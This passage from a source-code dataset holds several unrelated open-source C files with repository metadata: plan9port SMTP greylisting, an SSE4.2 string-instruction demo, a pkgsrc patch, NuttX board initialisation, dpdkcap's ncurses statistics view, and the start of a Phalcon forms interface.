"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Perflib"
#define WE_PERFLIB_STRING_COUNT_KEY "Last Help"
#define WE_PERFLIB_COUNTER_KEY_NAME "Counter 009"
#define WE_PERFLIB_METRIC_LABEL_LIST_SIZE 64
#define WE_PERFLIB_QUERY_BUFFER_INITIAL_SIZE (32 * 1024)
#define WE_PERFLIB_QUERY_BUFFER_INCREMENT_SIZE (16 * 1024)
#define WE_PERFLIB_WINDOWS_EPOCH ((double) 1 / 1e7)
#define WE_PERFLIB_TICKS_TO_SECONDS_SCALE_FACTOR ((double) 116444736000000000)
typedef int (*we_perflib_instance_filter)(char *, struct flb_we *);
typedef int (*we_perflib_label_prepend_hook)(char **,
size_t,
size_t *,
struct we_perflib_metric_source *,
char *,
struct we_perflib_counter *);
int we_perflib_init(struct flb_we *ctx);
int we_perflib_exit(struct flb_we *ctx);
int we_perflib_query(struct flb_we *ctx,
char *counter_name,
struct we_perflib_object **out_object);
struct we_perflib_counter *we_perflib_get_counter(struct we_perflib_object *object,
char *instance_name,
char *counter_name);
void we_perflib_destroy_object(struct we_perflib_object *object);
char *we_perflib_get_counter_type_as_text(uint32_t counter_Type);
int we_perflib_update_counters(struct flb_we *ctx,
char *query,
struct we_perflib_metric_source *metric_sources,
we_perflib_instance_filter filter_hook,
we_perflib_label_prepend_hook label_prepend_hook);
double we_perflib_get_adjusted_counter_value(struct we_perflib_counter *counter);
#endif
|
b8666560c5645432f5599b4ded58456266815060
|
89db60818afeb3dc7c3b7abe9ceae155f074f7f2
|
/src/cmd/upas/smtp/greylist.c
|
1efd145718db661f984f9fd6d5d254416983290a
|
[
"bzip2-1.0.6",
"LPL-1.02",
"MIT"
] |
permissive
|
9fans/plan9port
|
63c3d01928c6f8a8617d3ea6ecc05bac72391132
|
65c090346a38a8c30cb242d345aa71060116340c
|
refs/heads/master
| 2023-08-25T17:14:26.233105
| 2023-08-23T13:21:37
| 2023-08-23T18:47:08
| 26,095,474
| 1,645
| 468
|
NOASSERTION
| 2023-09-05T16:55:41
| 2014-11-02T22:40:13
|
C
|
UTF-8
|
C
| false
| false
| 6,351
|
c
|
greylist.c
|
#include "common.h"
#include "smtpd.h"
#include "smtp.h"
#include <ctype.h>
#include <ip.h>
#include <ndb.h>
typedef struct {
int existed; /* these two are distinct to cope with errors */
int created;
int noperm;
long mtime; /* mod time, iff it already existed */
} Greysts;
/*
* There's a bit of a problem with yahoo; they apparently have a vast
* pool of machines that all run the same queue(s), so a 451 retry can
* come from a different IP address for many, many retries, and it can
* take ~5 hours for the same IP to call us back. Various other goofballs,
* notably the IEEE, try to send mail just before 9 AM, then refuse to try
* again until after 5 PM. Doh!
*/
enum {
Nonspammax = 14*60*60, /* must call back within this time if real */
};
static char *whitelist = "#9/mail/lib/whitelist";
/*
* matches ip addresses or subnets in whitelist against nci->rsys.
* ignores comments and blank lines in /mail/lib/whitelist.
*/
static int
onwhitelist(void)
{
int lnlen;
char *line, *parse;
char input[128];
uchar ip[IPaddrlen], ipmasked[IPaddrlen];
uchar mask4[IPaddrlen], addr4[IPaddrlen];
uchar mask[IPaddrlen], addr[IPaddrlen], addrmasked[IPaddrlen];
Biobuf *wl;
static int beenhere;
if (!beenhere) {
beenhere = 1;
fmtinstall('I', eipfmt);
whitelist = unsharp(whitelist);
}
parseip(ip, nci->rsys);
wl = Bopen(whitelist, OREAD);
if (wl == nil)
return 1;
while ((line = Brdline(wl, '\n')) != nil) {
if (line[0] == '#' || line[0] == '\n')
continue;
lnlen = Blinelen(wl);
line[lnlen-1] = '\0'; /* clobber newline */
/* default mask is /32 (v4) or /128 (v6) for bare IP */
parse = line;
if (strchr(line, '/') == nil) {
strncpy(input, line, sizeof input - 5);
if (strchr(line, '.') != nil)
strcat(input, "/32");
else
strcat(input, "/128");
parse = input;
}
/* sorry, dave; where's parsecidr for v4 or v6? */
v4parsecidr(addr4, mask4, parse);
v4tov6(addr, addr4);
v4tov6(mask, mask4);
maskip(addr, mask, addrmasked);
maskip(ip, mask, ipmasked);
if (memcmp(ipmasked, addrmasked, IPaddrlen) == 0)
break;
}
Bterm(wl);
return line != nil;
}
static int mkdirs(char *);
/*
* if any directories leading up to path don't exist, create them.
* modifies but restores path.
*/
static int
mkpdirs(char *path)
{
int rv = 0;
char *sl = strrchr(path, '/');
if (sl != nil) {
*sl = '\0';
rv = mkdirs(path);
*sl = '/';
}
return rv;
}
/*
* if path or any directories leading up to it don't exist, create them.
* modifies but restores path.
*/
static int
mkdirs(char *path)
{
int fd;
if (access(path, AEXIST) >= 0)
return 0;
/* make presumed-missing intermediate directories */
if (mkpdirs(path) < 0)
return -1;
/* make final directory */
fd = create(path, OREAD, 0777|DMDIR);
if (fd < 0)
/*
* we may have lost a race; if the directory now exists,
* it's okay.
*/
return access(path, AEXIST) < 0? -1: 0;
close(fd);
return 0;
}
static long
getmtime(char *file)
{
long mtime = -1;
Dir *ds = dirstat(file);
if (ds != nil) {
mtime = ds->mtime;
free(ds);
}
return mtime;
}
static void
tryaddgrey(char *file, Greysts *gsp)
{
int fd = create(file, OWRITE|OEXCL, 0444|DMEXCL);
gsp->created = (fd >= 0);
if (fd >= 0) {
close(fd);
gsp->existed = 0; /* just created; couldn't have existed */
} else {
/*
* why couldn't we create file? it must have existed
* (or we were denied perm on parent dir.).
* if it existed, fill in gsp->mtime; otherwise
* make presumed-missing intermediate directories.
*/
gsp->existed = access(file, AEXIST) >= 0;
if (gsp->existed)
gsp->mtime = getmtime(file);
else if (mkpdirs(file) < 0)
gsp->noperm = 1;
}
}
static void
addgreylist(char *file, Greysts *gsp)
{
tryaddgrey(file, gsp);
if (!gsp->created && !gsp->existed && !gsp->noperm)
/* retry the greylist entry with parent dirs created */
tryaddgrey(file, gsp);
}
static int
recentcall(Greysts *gsp)
{
long delay = time(0) - gsp->mtime;
if (!gsp->existed)
return 0;
/* reject immediate call-back; spammers are doing that now */
return delay >= 30 && delay <= Nonspammax;
}
/*
* policy: if (caller-IP, my-IP, rcpt) is not on the greylist,
* reject this message as "451 temporary failure". if the caller is real,
* he'll retry soon, otherwise he's a spammer.
* at the first rejection, create a greylist entry for (my-ip, caller-ip,
* rcpt, time), where time is the file's mtime. if they call back and there's
* already a greylist entry, and it's within the allowed interval,
* add their IP to the append-only whitelist.
*
* greylist files can be removed at will; at worst they'll cause a few
* extra retries.
*/
static int
isrcptrecent(char *rcpt)
{
char *user;
char file[256];
Greysts gs;
Greysts *gsp = &gs;
if (rcpt[0] == '\0' || strchr(rcpt, '/') != nil ||
strcmp(rcpt, ".") == 0 || strcmp(rcpt, "..") == 0)
return 0;
/* shorten names to fit pre-fossil or pre-9p2000 file servers */
user = strrchr(rcpt, '!');
if (user == nil)
user = rcpt;
else
user++;
/* check & try to update the grey list entry */
snprint(file, sizeof file, "%s/mail/grey/%s/%s/%s",
get9root(), nci->lsys, nci->rsys, user);
memset(gsp, 0, sizeof *gsp);
addgreylist(file, gsp);
/* if on greylist already and prior call was recent, add to whitelist */
if (gsp->existed && recentcall(gsp)) {
syslog(0, "smtpd",
"%s/%s was grey; adding IP to white", nci->rsys, rcpt);
return 1;
} else if (gsp->existed)
syslog(0, "smtpd", "call for %s/%s was seconds ago or long ago",
nci->rsys, rcpt);
else
syslog(0, "smtpd", "no call registered for %s/%s; registering",
nci->rsys, rcpt);
return 0;
}
void
vfysenderhostok(void)
{
int recent = 0;
Link *l;
if (onwhitelist())
return;
for (l = rcvers.first; l; l = l->next)
if (isrcptrecent(s_to_c(l->p)))
recent = 1;
/* if on greylist already and prior call was recent, add to whitelist */
if (recent) {
int fd = create(whitelist, OWRITE, 0666|DMAPPEND);
if (fd >= 0) {
seek(fd, 0, 2); /* paranoia */
fprint(fd, "# unknown\n%s\n\n", nci->rsys);
close(fd);
}
} else {
syslog(0, "smtpd",
"no recent call from %s for a rcpt; rejecting with temporary failure",
nci->rsys);
reply("451 please try again soon from the same IP.\r\n");
exits("no recent call for a rcpt");
}
}
|
87e67f1590966b8f3863c21f897aa9405eaf683b
|
77861deda8b3046bdda221d3cb80b77e84b14523
|
/sse/pcmpistri.c
|
2da1fce672825038f9962033481a924ed1b06baa
|
[
"BSD-2-Clause"
] |
permissive
|
WojciechMula/toys
|
b73f09212ca19f1e76bbf2afaa5ad2efcea95175
|
6110b59de45dc1ce44388b21c6437eff49a7655c
|
refs/heads/master
| 2023-08-18T12:54:25.919406
| 2023-08-05T09:20:14
| 2023-08-05T09:20:14
| 14,905,115
| 302
| 44
|
BSD-2-Clause
| 2020-04-17T17:10:42
| 2013-12-03T20:35:37
|
C++
|
UTF-8
|
C
| false
| false
| 4,147
|
c
|
pcmpistri.c
|
#define _POSIX_C_SOURCE 200809L
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <sys/time.h>
unsigned gettime() {
struct timeval tv;
gettimeofday(&tv, NULL);
return (tv.tv_sec * 1000000 + tv.tv_usec)/1000;
}
//---------------------------------------------------------------------------
/* imm8 defs: */
#define SSESTR_PACKED_UBYTE 0 /* element size */
#define SSESTR_PACKED_UWORD 0b01
#define SSESTR_PACKED_SBYTE 0b10
#define SSESTR_PACKED_SWORD 0b11
#define SSESTR_EQUAL_ANY 0 /* compare method */
#define SSESTR_EQUAL_EACH 0b1000
#define SSESTR_EQUAL_ORDERED 0b1100
#define SSESTR_RANGES 0b0100
#define SSESTR_UNCHANGED 0 /* IntRes1 polariy */
#define SSESTR_UNCHANGED2 0b100000
#define SSESTR_NEGATED 0b010000
#define SSESTR_NEGATED_VALID 0b110000
#define SSESTR_BITMASK 0 /* output selection */
#define SSESTR_BYTEMASK 0b1000000 /* for PCMPxSTRM */
#define SSESTR_FIRSTBIT 0 /* output selection */
#define SSESTR_LASTBIT 0b1000000 /* for PCMPxSTRI */
#define imm8 SSESTR_EQUAL_ANY | SSESTR_BYTEMASK
/* SSESTR_PACKED_UBYTE | \
SSESTR_EQUAL_EACH | \
SSESTR_NEGATED | \
SSESTR_BYTEMASK
*/
void pcmpistri_debug(const char* s1, const char* s2)
{
int ecx;
int eax;
#define LAHF_CF (0b00000001 << 8)
#define LAHF_PF (0b00000100 << 8)
#define LAHF_AF (0b00010000 << 8)
#define LAHF_ZF (0b01000000 << 8)
#define LAHF_SF (0b10000000 << 8)
#define LAHF_OF 1
__asm__ __volatile__ (
"movups (%%rsi), %%xmm1 \n"
"movups (%%rdi), %%xmm2 \n"
"xor %%rax, %%rax \n"
"pcmpistri %[setup], %%xmm2, %%xmm1 \n"
"lahf \n"
"seto %%al \n"
: "=c" (ecx),
"=a" (eax)
: "S" (s1),
"D" (s2),
[setup] "i" (imm8)
);
printf("s1 = '%s'\n", s1);
printf("s2 = '%s'\n", s2);
printf("ecx = %d\n", ecx);
printf("eax = %x\n", eax);
printf(" CF = %d\n", (eax & LAHF_CF) != 0);
printf(" ZF = %d\n", (eax & LAHF_ZF) != 0);
printf(" SF = %d\n", (eax & LAHF_SF) != 0);
printf(" OF = %d\n", (eax & LAHF_OF) != 0);
printf(" AF = %d\n", (eax & LAHF_AF) != 0);
}
char buffer[16];
void pcmpistrm_debug(const char* s1, const char* s2)
{
int ecx;
int eax;
#define LAHF_CF (0b00000001 << 8)
#define LAHF_PF (0b00000100 << 8)
#define LAHF_AF (0b00010000 << 8)
#define LAHF_ZF (0b01000000 << 8)
#define LAHF_SF (0b10000000 << 8)
#define LAHF_OF 1
__asm__ __volatile__ (
"movups (%%rsi), %%xmm1 \n"
"movups (%%rdi), %%xmm2 \n"
"xor %%rax, %%rax \n"
"xor %%rcx, %%rcx \n"
"mov $6, %%rdx \n"
"mov $200, %%rax \n"
"pcmpestrm %[setup], %%xmm2, %%xmm1 \n"
"lahf \n"
"seto %%al \n"
"movdqu %%xmm0, buffer \n"
: "=c" (ecx),
"=a" (eax)
: "S" (s2),
"D" (s1),
[setup] "i" (imm8)
: "memory"
);
printf("s1 = '%s'\n", s1);
printf("s2 = '%s'\n", s2);
printf("mask= ");
for (int i = 0; i < 16; i++) {
putchar(buffer[i] ? '1' : '_');
}
putchar('\n');
printf("ecx = %d\n", ecx);
printf("eax = %x\n", eax);
printf(" CF = %d\n", (eax & LAHF_CF) != 0);
printf(" ZF = %d\n", (eax & LAHF_ZF) != 0);
printf(" SF = %d\n", (eax & LAHF_SF) != 0);
printf(" OF = %d\n", (eax & LAHF_OF) != 0);
printf(" AF = %d\n", (eax & LAHF_AF) != 0);
}
int main(int argc, char* argv[])
{
if (argc < 3) {
return EXIT_FAILURE;
}
#define s1 argv[1]
#define s2 argv[2]
pcmpistri_debug(s1, s2);
puts("");
pcmpistrm_debug(s1, s2);
return EXIT_SUCCESS;
}
|
4f7ec86a76189c865810b8bdfceccc38a5f850b5
|
f79dec3c4033ca3cbb55d8a51a748cc7b8b6fbab
|
/misc/kdepim3/patches/patch-libkcal_listbase.h
|
9b197a3007f5408b6f8088f2f41ff6e6c45ed901
|
[] |
no_license
|
jsonn/pkgsrc
|
fb34c4a6a2d350e8e415f3c4955d4989fcd86881
|
c1514b5f4a3726d90e30aa16b0c209adbc276d17
|
refs/heads/trunk
| 2021-01-24T09:10:01.038867
| 2017-07-07T15:49:43
| 2017-07-07T15:49:43
| 2,095,004
| 106
| 47
| null | 2016-09-19T09:26:01
| 2011-07-23T23:49:04
|
Makefile
|
UTF-8
|
C
| false
| false
| 438
|
h
|
patch-libkcal_listbase.h
|
$NetBSD: patch-libkcal_listbase.h,v 1.1 2012/05/04 16:27:59 joerg Exp $
--- libkcal/listbase.h.orig 2012-04-27 15:32:46.000000000 +0000
+++ libkcal/listbase.h
@@ -67,7 +67,7 @@ class ListBase : public QValueList<T *>
bool removeRef( T *t )
{
- QValueListIterator<T *> it = find( t );
+ QValueListIterator<T *> it = this->find( t );
if ( it == QValueList<T*>::end() ) {
return false;
} else {
|
242b8de7a3fb390bd4360ae2d6a18cae0e8f75a1
|
aa3befea459382dc5c01c925653d54f435b3fb0f
|
/boards/mips/pic32mx/ubw32/src/pic32_boot.c
|
4b886b5ca66102a4082488cb3aa83bcceb5499d9
|
[
"MIT-open-group",
"BSD-3-Clause",
"HPND-sell-variant",
"BSD-4-Clause-UC",
"LicenseRef-scancode-warranty-disclaimer",
"MIT-0",
"LicenseRef-scancode-bsd-atmel",
"LicenseRef-scancode-gary-s-brown",
"LicenseRef-scancode-proprietary-license",
"SunPro",
"MIT",
"LicenseRef-scancode-public-domain-disclaimer",
"LicenseRef-scancode-other-permissive",
"HPND",
"ISC",
"Apache-2.0",
"LicenseRef-scancode-public-domain",
"BSD-2-Clause",
"GPL-1.0-or-later",
"CC-BY-2.0",
"CC-BY-4.0"
] |
permissive
|
apache/nuttx
|
14519a7bff4a87935d94fb8fb2b19edb501c7cec
|
606b6d9310fb25c7d92c6f95bf61737e3c79fa0f
|
refs/heads/master
| 2023-08-25T06:55:45.822534
| 2023-08-23T16:03:31
| 2023-08-24T21:25:47
| 228,103,273
| 407
| 241
|
Apache-2.0
| 2023-09-14T18:26:05
| 2019-12-14T23:27:55
|
C
|
UTF-8
|
C
| false
| false
| 2,804
|
c
|
pic32_boot.c
|
/****************************************************************************
* boards/mips/pic32mx/ubw32/src/pic32_boot.c
*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership. The
* ASF licenses this file to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance with the
* License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
*
****************************************************************************/
/****************************************************************************
* Included Files
****************************************************************************/
#include <nuttx/config.h>
#include <debug.h>
#include <arch/board/board.h>
#include "mips_internal.h"
#include "pic32mx.h"
#include "ubw32.h"
/****************************************************************************
* Pre-processor Definitions
****************************************************************************/
/****************************************************************************
* Private Functions
****************************************************************************/
/****************************************************************************
* Public Functions
****************************************************************************/
/****************************************************************************
* Name: pic32mx_boardinitialize
*
* Description:
* All PIC32MX architectures must provide the following entry point. This
* entry point is called early in the initialization - after all memory has
* been configured and mapped but before any devices have been initialized.
*
****************************************************************************/
void pic32mx_boardinitialize(void)
{
/* Configure SPI chip selects if 1) at least one SPI is enabled, and 2) the
* weak function pic32mx_spidev_initialize() has been brought into the
* link.
*/
#if defined(CONFIG_PIC32MX_SPI1) || defined(CONFIG_PIC32MX_SPI2)
if (pic32mx_spidev_initialize)
{
pic32mx_spidev_initialize();
}
#endif
#ifdef CONFIG_ARCH_LEDS
/* Configure on-board LEDs if LED support has been selected. */
pic32mx_led_initialize();
#endif
}
|
7868f89ff25206d3f90cca01b739545fd744dc0f
|
d644b3718e8d6965ed5194c02072f2483603832c
|
/src/statistics_ncurses.c
|
b55101525672225c47a5070dc918232cb81eeb49
|
[
"BSD-3-Clause",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
dpdkcap/dpdkcap
|
3be6d320bf1925943ac88d8425c4f1c0c0cca895
|
3ef1997e378c1d866d7c55f27f971088bfcd74c6
|
refs/heads/master
| 2023-06-12T03:16:02.587153
| 2023-06-02T07:43:04
| 2023-06-02T07:43:04
| 45,674,410
| 190
| 97
|
NOASSERTION
| 2023-06-02T07:43:05
| 2015-11-06T10:05:11
|
C
|
UTF-8
|
C
| false
| false
| 8,681
|
c
|
statistics_ncurses.c
|
#include "statistics.h"
#include <signal.h>
#include <ncurses.h>
#include <unistd.h>
#include <stdint.h>
#include <rte_ethdev.h>
#include <rte_timer.h>
#include <rte_ring.h>
#include <rte_log.h>
#include <rte_cycles.h>
#include "utils.h"
#define RTE_LOGTYPE_DPDKCAP RTE_LOGTYPE_USER1
#define GLOBAL_STATS_WINDOW_HEIGHT 10
#define STATS_PERIOD_MS 500
#define ROTATING_CHAR "-\\|/"
static void wglobal_stats(WINDOW * window, struct stats_data *data)
{
if (data->log_file)
wprintw(window, "Writing logs to: %s\n", data->log_file);
else
wprintw(window, "Writing logs to stderr\n");
wprintw(window, "Entries free on ring: %u\n",
rte_ring_free_count(data->ring));
}
static void wcapture_stats(WINDOW * window, struct stats_data *data)
{
static uint64_t *last_per_port_packets = NULL;
unsigned int i, j;
static struct rte_eth_stats port_statistics;
if (!last_per_port_packets)
last_per_port_packets =
malloc(sizeof(uint64_t) *
data->cores_capture_stats_list_size);
for (i = 0; i < data->port_list_size; i++) {
rte_eth_stats_get(data->port_list[i], &port_statistics);
wprintw(window, "PORT %d:\n", data->port_list[i]);
wprintw(window,
" RX Successful bytes: %s (avg: %d bytes/pkt)\n",
bytes_format(port_statistics.ibytes),
port_statistics.ipackets ? (int)((float)port_statistics.
ibytes /
(float)port_statistics.
ipackets) : 0);
wprintw(window, " RX Successful packets: %s\n",
ul_format(port_statistics.ipackets));
wprintw(window, " RX Unsuccessful packets: %s\n",
ul_format(port_statistics.ierrors));
wprintw(window, " RX Missed packets: %s\n",
ul_format(port_statistics.imissed));
wprintw(window, " MBUF Allocation failures: %s\n",
ul_format(port_statistics.rx_nombuf));
wprintw(window, " Per queue:\n");
for (j = 0; j < data->queue_per_port; j++) {
wprintw(window, " - Queue %2d handled by core %2d:\n",
j,
data->cores_stats_capture_list[i *
data->
queue_per_port +
j].core_id);
wprintw(window, " HW: RX: %s",
ul_format(port_statistics.q_ipackets[j]));
wprintw(window, " RX-Error: %s\n",
ul_format(port_statistics.q_errors[j]));
wprintw(window, " Ring: Enqueued: %s",
ul_format(data->
cores_stats_capture_list[i *
data->
queue_per_port
+ j]
.packets));
wprintw(window, " Missed: %s\n",
ul_format(data->
cores_stats_capture_list[i *
data->
queue_per_port
+ j]
.missed_packets));
wprintw(window, " Packets/s: %s\n",
ul_format((data->
cores_stats_capture_list[i *
data->
queue_per_port
+
j].packets -
last_per_port_packets[i *
data->
queue_per_port
+
j]) * 1000 /
STATS_PERIOD_MS));
last_per_port_packets[i * data->queue_per_port + j] =
data->cores_stats_capture_list[i *
data->
queue_per_port +
j].packets;
}
wprintw(window, "\n");
}
}
static void wwrite_stats(WINDOW * window, struct stats_data *data)
{
static uint64_t last_total_packets = 0,
last_total_bytes = 0, last_total_compressedbytes = 0;
uint64_t total_packets = 0, total_bytes = 0, total_compressedbytes = 0;
uint64_t instant_packets, instant_bytes, instant_compressedbytes;
unsigned int i;
// Calculate aggregated stats from writing cores
for (i = 0; i < data->cores_write_stats_list_size; i++) {
total_packets += data->cores_stats_write_list[i].packets;
total_bytes += data->cores_stats_write_list[i].bytes;
total_compressedbytes +=
data->cores_stats_write_list[i].compressed_bytes;
}
// Calculate instant stats
instant_packets = (total_packets - last_total_packets)
* 1000 / STATS_PERIOD_MS;
instant_bytes = (total_bytes - last_total_bytes)
* 1000 / STATS_PERIOD_MS;
instant_compressedbytes =
(total_compressedbytes - last_total_compressedbytes)
* 1000 / STATS_PERIOD_MS;
last_total_packets = total_packets;
last_total_bytes = total_bytes;
last_total_compressedbytes = total_compressedbytes;
wprintw(window, "Total packets written: %s\n",
ul_format(total_packets));
wprintw(window, "Total bytes written: %s", bytes_format(total_bytes));
wprintw(window, " compressed to %s\n",
bytes_format(total_compressedbytes));
wprintw(window, "Compressed/uncompressed size ratio: 1 / %.2f\n\n",
total_compressedbytes ?
(float)total_bytes / (float)total_compressedbytes : 0.0f);
wprintw(window, "Packets written/s: %s/s\n",
ul_format(instant_packets));
wprintw(window, "Bytes written/s: %s/s", bytes_format(instant_bytes));
wprintw(window, " compressed to %s/s\n",
bytes_format(instant_compressedbytes));
wprintw(window,
"Instant compressed/uncompressed size ratio: 1 / %.2f\n\n",
instant_compressedbytes ? (float)instant_bytes /
(float)instant_compressedbytes : 0.0f);
wprintw(window, " Per core stats:\n");
for (i = 0; i < data->cores_write_stats_list_size; i++) {
wprintw(window, "Writing core %2d: %s ",
data->cores_stats_write_list[i].core_id,
data->cores_stats_write_list[i].output_file);
wprintw(window, "(%s)\n",
bytes_format(data->cores_stats_write_list[i].
current_file_compressed_bytes));
}
}
/*
* Handles signals
*/
static bool should_stop = false;
static void signal_handler(int sig)
{
RTE_LOG(NOTICE, DPDKCAP, "Caught signal %s on core %u%s\n",
strsignal(sig), rte_lcore_id(),
rte_get_main_lcore() == rte_lcore_id()? " (MAIN CORE)" : "");
should_stop = true;
}
static WINDOW *border_global, *border_write, *border_capture;
static WINDOW *window_global, *window_write, *window_capture;
static void mv_windows(void)
{
wclear(border_global);
wclear(border_write);
wclear(border_capture);
wclear(window_global);
wclear(window_write);
wclear(window_capture);
wresize(border_global, GLOBAL_STATS_WINDOW_HEIGHT, COLS / 2);
wresize(border_write, (LINES - 1) - GLOBAL_STATS_WINDOW_HEIGHT,
COLS / 2);
wresize(border_capture, LINES - 1, COLS / 2);
wresize(window_global, GLOBAL_STATS_WINDOW_HEIGHT - 2, COLS / 2 - 2);
wresize(window_write, (LINES - 1) - GLOBAL_STATS_WINDOW_HEIGHT - 2,
COLS / 2 - 2);
wresize(window_capture, LINES - 1 - 2, COLS / 2 - 2);
mvderwin(border_global, 1, 0);
mvderwin(border_write, GLOBAL_STATS_WINDOW_HEIGHT + 1, 0);
mvderwin(border_capture, 1, COLS / 2);
/* mvderwin(window_global, 2, 1);
mvderwin(window_write, GLOBAL_STATS_WINDOW_HEIGHT+2, 1);
mvderwin(window_capture,2, COLS/2+2);
*/
mvderwin(window_global, 1, 1);
mvderwin(window_write, 1, 1);
mvderwin(window_capture, 1, 1);
}
static void init_windows(void)
{
border_global = subwin(stdscr, 0, 0, 0, 0);
border_write = subwin(stdscr, 0, 0, 0, 0);
border_capture = subwin(stdscr, 0, 0, 0, 0);
window_global = subwin(border_global, 0, 0, 0, 0);
window_write = subwin(border_write, 0, 0, 0, 0);
window_capture = subwin(border_capture, 0, 0, 0, 0);
scrollok(window_global, TRUE);
scrollok(window_capture, TRUE);
scrollok(window_write, TRUE);
mv_windows();
}
static int printscreen( __attribute__((unused))
struct rte_timer *timer, __attribute__((unused))
struct stats_data *data)
{
static int nb_updates = 0;
nb_updates++;
clear();
/* Move the windows */
mv_windows();
/* Write into the buffers */
mvprintw(0, 0, "%c - Press q to quit", ROTATING_CHAR[nb_updates % 4]);
box(border_global, 0, 0);
mvwprintw(border_global, 0, 2, "Global stats");
box(border_write, 0, 0);
mvwprintw(border_write, 0, 2, "Write stats");
box(border_capture, 0, 0);
mvwprintw(border_capture, 0, 2, "Capture stats");
wglobal_stats(window_global, data);
wwrite_stats(window_write, data);
wcapture_stats(window_capture, data);
/* Print on screen */
refresh();
return 0;
}
static struct rte_timer stats_timer;
void start_stats_display(struct stats_data *data)
{
signal(SIGINT, signal_handler);
int ch;
initscr();
cbreak();
noecho();
keypad(stdscr, TRUE);
curs_set(0);
//Init windows
init_windows();
//Non blocking inputs
timeout(0);
//Initialize timers
rte_timer_subsystem_init();
//Timer launch
rte_timer_init(&(stats_timer));
rte_timer_reset(&(stats_timer),
rte_get_timer_hz() * STATS_PERIOD_MS / 1000, PERIODICAL,
rte_lcore_id(), (void *)printscreen, data);
//Wait for ctrl+c
for (;;) {
if (unlikely(should_stop)) {
break;
}
ch = getch();
switch (ch) {
case KEY_DOWN:
break;
case KEY_UP:
break;
case 'q':
should_stop = true;
break;
}
rte_timer_manage();
}
rte_timer_stop(&(stats_timer));
endwin();
signal(SIGINT, SIG_DFL);
}
|
bd72b9aca02d4bcfa49f1fde04daf3023c2997cc
|
ea8fc70c7dbf49059431fa45a940742736c68fb8
|
/ext/forms/elementinterface.c
|
c1d4b014d98a892b106973e0dfbb8d2404d7f8d3
|
[
"BSD-3-Clause"
] |
permissive
|
dreamsxin/cphalcon7
|
1bd2194a251657b48857326927db69fef617ab91
|
1b8c6b04b4ca237a5ead87d4752df0d2e85c7a9d
|
refs/heads/master
| 2023-03-08T04:53:08.829432
| 2022-07-07T07:48:59
| 2022-07-07T07:48:59
| 47,245,335
| 298
| 73
| null | 2021-06-22T11:53:25
| 2015-12-02T07:44:43
|
C
|
UTF-8
|
C
| false
| false
| 10,510
|
c
|
elementinterface.c
|
/*
+------------------------------------------------------------------------+
| Phalcon Framework |
+------------------------------------------------------------------------+
| Copyright (c) 2011-2014 Phalcon Team (http://www.phalconphp.com) |
+------------------------------------------------------------------------+
| This source file is subject to the New BSD License that is bundled |
| with this package in the file docs/LICENSE.txt. |
| |
| If you did not receive a copy of the license and are unable to |
| obtain it through the world-wide-web, please send an email |
| to license@phalconphp.com so we can send you a copy immediately. |
+------------------------------------------------------------------------+
| Authors: Andres Gutierrez <andres@phalconphp.com> |
| Eduar Carvajal <eduar@phalconphp.com> |
+------------------------------------------------------------------------+
*/
#include "forms/elementinterface.h"
#include "kernel/main.h"
zend_class_entry *phalcon_forms_elementinterface_ce;
static const zend_function_entry phalcon_forms_elementinterface_method_entry[] = {
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, __construct, arginfo_phalcon_forms_elementinterface___construct)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, setForm, arginfo_phalcon_forms_elementinterface_setform)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, getForm, arginfo_empty)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, setName, arginfo_phalcon_forms_elementinterface_setname)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, getName, arginfo_empty)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, setFilters, arginfo_phalcon_forms_elementinterface_setfilters)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, addFilter, arginfo_phalcon_forms_elementinterface_addfilter)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, getFilters, arginfo_empty)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, addValidators, arginfo_phalcon_forms_elementinterface_addvalidators)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, addValidator, arginfo_phalcon_forms_elementinterface_addvalidator)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, getValidators, arginfo_empty)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, prepareAttributes, arginfo_phalcon_forms_elementinterface_prepareattributes)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, setAttribute, arginfo_phalcon_forms_elementinterface_setattribute)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, getAttribute, arginfo_phalcon_forms_elementinterface_getattribute)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, setAttributes, arginfo_phalcon_forms_elementinterface_setattributes)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, getAttributes, arginfo_empty)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, setUserOption, arginfo_phalcon_forms_elementinterface_setuseroption)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, getUserOption, arginfo_phalcon_forms_elementinterface_getuseroption)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, setUserOptions, arginfo_phalcon_forms_elementinterface_setuseroptions)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, getUserOptions, arginfo_empty)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, setLabel, arginfo_phalcon_forms_elementinterface_setlabel)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, getLabel, arginfo_empty)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, label, arginfo_empty)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, setDefault, arginfo_phalcon_forms_elementinterface_setdefault)
PHP_ABSTRACT_ME(Phalcon_Forms_ElementInterface, getDefault, arginfo_empty)
